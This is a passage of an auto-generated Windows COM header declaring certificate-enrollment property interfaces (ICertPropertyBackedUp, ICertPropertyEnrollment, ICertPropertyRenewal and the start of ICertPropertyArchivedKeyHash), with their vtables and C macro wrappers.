/* [in] */ VARIANT_BOOL BackedUpValue) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE Initialize( \n            /* [in] */ VARIANT_BOOL BackedUpValue,\n            /* [in] */ DATE Date) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_BackedUpValue( \n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_BackedUpTime( \n            /* [retval][out] */ __RPC__out DATE *pDate) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct ICertPropertyBackedUpVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in ICertPropertyBackedUp * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in ICertPropertyBackedUp * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in ICertPropertyBackedUp * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in ICertPropertyBackedUp * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in ICertPropertyBackedUp * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in ICertPropertyBackedUp * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            ICertPropertyBackedUp * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromCertificate )( \n            __RPC__in ICertPropertyBackedUp * This,\n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeDecode )( \n            __RPC__in ICertPropertyBackedUp * This,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_PropertyId )( \n            __RPC__in ICertPropertyBackedUp * This,\n            /* [retval][out] */ __RPC__out CERTENROLL_PROPERTYID *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_PropertyId )( \n            __RPC__in ICertPropertyBackedUp * This,\n            /* [in] */ CERTENROLL_PROPERTYID Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawData )( \n            __RPC__in ICertPropertyBackedUp * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *RemoveFromCertificate )( \n            __RPC__in ICertPropertyBackedUp * This,\n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate);\n        \n        HRESULT ( STDMETHODCALLTYPE *SetValueOnCertificate )( \n            __RPC__in ICertPropertyBackedUp * This,\n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromCurrentTime )( \n            __RPC__in ICertPropertyBackedUp * This,\n            /* [in] */ VARIANT_BOOL BackedUpValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in ICertPropertyBackedUp * This,\n            /* [in] */ VARIANT_BOOL BackedUpValue,\n            /* [in] */ DATE Date);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_BackedUpValue )( \n            __RPC__in ICertPropertyBackedUp * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_BackedUpTime )( \n            __RPC__in ICertPropertyBackedUp * This,\n            /* [retval][out] */ __RPC__out DATE *pDate);\n        \n        END_INTERFACE\n    } ICertPropertyBackedUpVtbl;\n\n    interface ICertPropertyBackedUp\n    {\n        CONST_VTBL struct ICertPropertyBackedUpVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define ICertPropertyBackedUp_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define ICertPropertyBackedUp_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define ICertPropertyBackedUp_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define ICertPropertyBackedUp_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define ICertPropertyBackedUp_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define ICertPropertyBackedUp_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define ICertPropertyBackedUp_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define ICertPropertyBackedUp_InitializeFromCertificate(This,MachineContext,Encoding,strCertificate)\t\\\n    ( (This)->lpVtbl -> InitializeFromCertificate(This,MachineContext,Encoding,strCertificate) ) \n\n#define ICertPropertyBackedUp_InitializeDecode(This,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> InitializeDecode(This,Encoding,strEncodedData) ) \n\n#define ICertPropertyBackedUp_get_PropertyId(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_PropertyId(This,pValue) ) \n\n#define ICertPropertyBackedUp_put_PropertyId(This,Value)\t\\\n    ( (This)->lpVtbl -> put_PropertyId(This,Value) ) \n\n#define ICertPropertyBackedUp_get_RawData(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawData(This,Encoding,pValue) ) \n\n#define ICertPropertyBackedUp_RemoveFromCertificate(This,MachineContext,Encoding,strCertificate)\t\\\n    ( (This)->lpVtbl -> RemoveFromCertificate(This,MachineContext,Encoding,strCertificate) ) \n\n#define ICertPropertyBackedUp_SetValueOnCertificate(This,MachineContext,Encoding,strCertificate)\t\\\n    ( (This)->lpVtbl -> SetValueOnCertificate(This,MachineContext,Encoding,strCertificate) ) \n\n\n#define ICertPropertyBackedUp_InitializeFromCurrentTime(This,BackedUpValue)\t\\\n    ( (This)->lpVtbl -> InitializeFromCurrentTime(This,BackedUpValue) ) \n\n#define ICertPropertyBackedUp_Initialize(This,BackedUpValue,Date)\t\\\n    ( (This)->lpVtbl -> Initialize(This,BackedUpValue,Date) ) \n\n#define ICertPropertyBackedUp_get_BackedUpValue(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_BackedUpValue(This,pValue) ) \n\n#define ICertPropertyBackedUp_get_BackedUpTime(This,pDate)\t\\\n    ( (This)->lpVtbl -> get_BackedUpTime(This,pDate) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __ICertPropertyBackedUp_INTERFACE_DEFINED__ */\n\n\n#ifndef __ICertPropertyEnrollment_INTERFACE_DEFINED__\n#define __ICertPropertyEnrollment_INTERFACE_DEFINED__\n\n/* interface ICertPropertyEnrollment */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_ICertPropertyEnrollment;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab339-217d-11da-b2a4-000e7bbb2b09\")\n    ICertPropertyEnrollment : public ICertProperty\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE Initialize( \n            /* [in] */ LONG RequestId,\n            /* [in] */ __RPC__in BSTR strCADnsName,\n            /* [in] */ __RPC__in BSTR strCAName,\n            /* [defaultvalue][in] */ __RPC__in BSTR strFriendlyName = 0) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_RequestId( \n            /* [retval][out] */ __RPC__out LONG *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_CADnsName( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_CAName( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_FriendlyName( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct ICertPropertyEnrollmentVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in ICertPropertyEnrollment * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in ICertPropertyEnrollment * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in ICertPropertyEnrollment * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in ICertPropertyEnrollment * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in ICertPropertyEnrollment * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in ICertPropertyEnrollment * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            ICertPropertyEnrollment * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromCertificate )( \n            __RPC__in ICertPropertyEnrollment * This,\n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeDecode )( \n            __RPC__in ICertPropertyEnrollment * This,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_PropertyId )( \n            __RPC__in ICertPropertyEnrollment * This,\n            /* [retval][out] */ __RPC__out CERTENROLL_PROPERTYID *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_PropertyId )( \n            __RPC__in ICertPropertyEnrollment * This,\n            /* [in] */ CERTENROLL_PROPERTYID Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawData )( \n            __RPC__in ICertPropertyEnrollment * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *RemoveFromCertificate )( \n            __RPC__in ICertPropertyEnrollment * This,\n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate);\n        \n        HRESULT ( STDMETHODCALLTYPE *SetValueOnCertificate )( \n            __RPC__in ICertPropertyEnrollment * This,\n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate);\n        \n        HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in ICertPropertyEnrollment * This,\n            /* [in] */ LONG RequestId,\n            /* [in] */ __RPC__in BSTR strCADnsName,\n            /* [in] */ __RPC__in BSTR strCAName,\n            /* [defaultvalue][in] */ __RPC__in BSTR strFriendlyName);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RequestId )( \n            __RPC__in ICertPropertyEnrollment * This,\n            /* [retval][out] */ __RPC__out LONG *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_CADnsName )( \n            __RPC__in ICertPropertyEnrollment * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_CAName )( \n            __RPC__in ICertPropertyEnrollment * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_FriendlyName )( \n            __RPC__in ICertPropertyEnrollment * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        END_INTERFACE\n    } ICertPropertyEnrollmentVtbl;\n\n    interface ICertPropertyEnrollment\n    {\n        CONST_VTBL struct ICertPropertyEnrollmentVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define ICertPropertyEnrollment_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define ICertPropertyEnrollment_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define ICertPropertyEnrollment_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define ICertPropertyEnrollment_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define ICertPropertyEnrollment_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define ICertPropertyEnrollment_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define ICertPropertyEnrollment_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define ICertPropertyEnrollment_InitializeFromCertificate(This,MachineContext,Encoding,strCertificate)\t\\\n    ( (This)->lpVtbl -> InitializeFromCertificate(This,MachineContext,Encoding,strCertificate) ) \n\n#define ICertPropertyEnrollment_InitializeDecode(This,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> InitializeDecode(This,Encoding,strEncodedData) ) \n\n#define ICertPropertyEnrollment_get_PropertyId(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_PropertyId(This,pValue) ) \n\n#define ICertPropertyEnrollment_put_PropertyId(This,Value)\t\\\n    ( (This)->lpVtbl -> put_PropertyId(This,Value) ) \n\n#define ICertPropertyEnrollment_get_RawData(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawData(This,Encoding,pValue) ) \n\n#define ICertPropertyEnrollment_RemoveFromCertificate(This,MachineContext,Encoding,strCertificate)\t\\\n    ( (This)->lpVtbl -> RemoveFromCertificate(This,MachineContext,Encoding,strCertificate) ) \n\n#define ICertPropertyEnrollment_SetValueOnCertificate(This,MachineContext,Encoding,strCertificate)\t\\\n    ( (This)->lpVtbl -> SetValueOnCertificate(This,MachineContext,Encoding,strCertificate) ) \n\n\n#define ICertPropertyEnrollment_Initialize(This,RequestId,strCADnsName,strCAName,strFriendlyName)\t\\\n    ( (This)->lpVtbl -> Initialize(This,RequestId,strCADnsName,strCAName,strFriendlyName) ) \n\n#define ICertPropertyEnrollment_get_RequestId(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_RequestId(This,pValue) ) \n\n#define ICertPropertyEnrollment_get_CADnsName(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_CADnsName(This,pValue) ) \n\n#define ICertPropertyEnrollment_get_CAName(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_CAName(This,pValue) ) \n\n#define ICertPropertyEnrollment_get_FriendlyName(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_FriendlyName(This,pValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __ICertPropertyEnrollment_INTERFACE_DEFINED__ */\n\n\n#ifndef __ICertPropertyRenewal_INTERFACE_DEFINED__\n#define __ICertPropertyRenewal_INTERFACE_DEFINED__\n\n/* interface ICertPropertyRenewal */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_ICertPropertyRenewal;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab33a-217d-11da-b2a4-000e7bbb2b09\")\n    ICertPropertyRenewal : public ICertProperty\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE Initialize( \n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strRenewalValue) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE InitializeFromCertificateHash( \n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Renewal( \n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct ICertPropertyRenewalVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in ICertPropertyRenewal * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in ICertPropertyRenewal * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in ICertPropertyRenewal * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in ICertPropertyRenewal * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in ICertPropertyRenewal * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in ICertPropertyRenewal * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            ICertPropertyRenewal * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromCertificate )( \n            __RPC__in ICertPropertyRenewal * This,\n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeDecode )( \n            __RPC__in ICertPropertyRenewal * This,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_PropertyId )( \n            __RPC__in ICertPropertyRenewal * This,\n            /* [retval][out] */ __RPC__out CERTENROLL_PROPERTYID *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_PropertyId )( \n            __RPC__in ICertPropertyRenewal * This,\n            /* [in] */ CERTENROLL_PROPERTYID Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawData )( \n            __RPC__in ICertPropertyRenewal * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *RemoveFromCertificate )( \n            __RPC__in ICertPropertyRenewal * This,\n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate);\n        \n        HRESULT ( STDMETHODCALLTYPE *SetValueOnCertificate )( \n            __RPC__in ICertPropertyRenewal * This,\n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate);\n        \n        HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in ICertPropertyRenewal * This,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strRenewalValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromCertificateHash )( \n            __RPC__in ICertPropertyRenewal * This,\n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Renewal )( \n            __RPC__in ICertPropertyRenewal * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        END_INTERFACE\n    } ICertPropertyRenewalVtbl;\n\n    interface ICertPropertyRenewal\n    {\n        CONST_VTBL struct ICertPropertyRenewalVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define ICertPropertyRenewal_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define ICertPropertyRenewal_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define ICertPropertyRenewal_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define ICertPropertyRenewal_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define ICertPropertyRenewal_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define ICertPropertyRenewal_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define ICertPropertyRenewal_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define ICertPropertyRenewal_InitializeFromCertificate(This,MachineContext,Encoding,strCertificate)\t\\\n    ( (This)->lpVtbl -> InitializeFromCertificate(This,MachineContext,Encoding,strCertificate) ) \n\n#define ICertPropertyRenewal_InitializeDecode(This,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> InitializeDecode(This,Encoding,strEncodedData) ) \n\n#define ICertPropertyRenewal_get_PropertyId(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_PropertyId(This,pValue) ) \n\n#define ICertPropertyRenewal_put_PropertyId(This,Value)\t\\\n    ( (This)->lpVtbl -> put_PropertyId(This,Value) ) \n\n#define ICertPropertyRenewal_get_RawData(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawData(This,Encoding,pValue) ) \n\n#define ICertPropertyRenewal_RemoveFromCertificate(This,MachineContext,Encoding,strCertificate)\t\\\n    ( (This)->lpVtbl -> RemoveFromCertificate(This,MachineContext,Encoding,strCertificate) ) \n\n#define ICertPropertyRenewal_SetValueOnCertificate(This,MachineContext,Encoding,strCertificate)\t\\\n    ( (This)->lpVtbl -> SetValueOnCertificate(This,MachineContext,Encoding,strCertificate) ) \n\n\n#define ICertPropertyRenewal_Initialize(This,Encoding,strRenewalValue)\t\\\n    ( (This)->lpVtbl -> Initialize(This,Encoding,strRenewalValue) ) \n\n#define ICertPropertyRenewal_InitializeFromCertificateHash(This,MachineContext,Encoding,strCertificate)\t\\\n    ( (This)->lpVtbl -> InitializeFromCertificateHash(This,MachineContext,Encoding,strCertificate) ) \n\n#define ICertPropertyRenewal_get_Renewal(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_Renewal(This,Encoding,pValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __ICertPropertyRenewal_INTERFACE_DEFINED__ */\n\n\n#ifndef __ICertPropertyArchivedKeyHash_INTERFACE_DEFINED__\n#define __ICertPropertyArchivedKeyHash_INTERFACE_DEFINED__\n\n/* interface ICertPropertyArchivedKeyHash */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_ICertPropertyArchivedKeyHash;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab33b-217d-11da-b2a4-000e7bbb2b09\")\n    ICertPropertyArchivedKeyHash : public ICertProperty\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE Initialize( \n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strArchivedKeyHashValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_ArchivedKeyHash( \n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct ICertPropertyArchivedKeyHashVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in ICertPropertyArchivedKeyHash * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in ICertPropertyArchivedKeyHash * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in ICertPropertyArchivedKeyHash * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in ICertPropertyArchivedKeyHash * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in ICertPropertyArchivedKeyHash * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in ICertPropertyArchivedKeyHash * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID 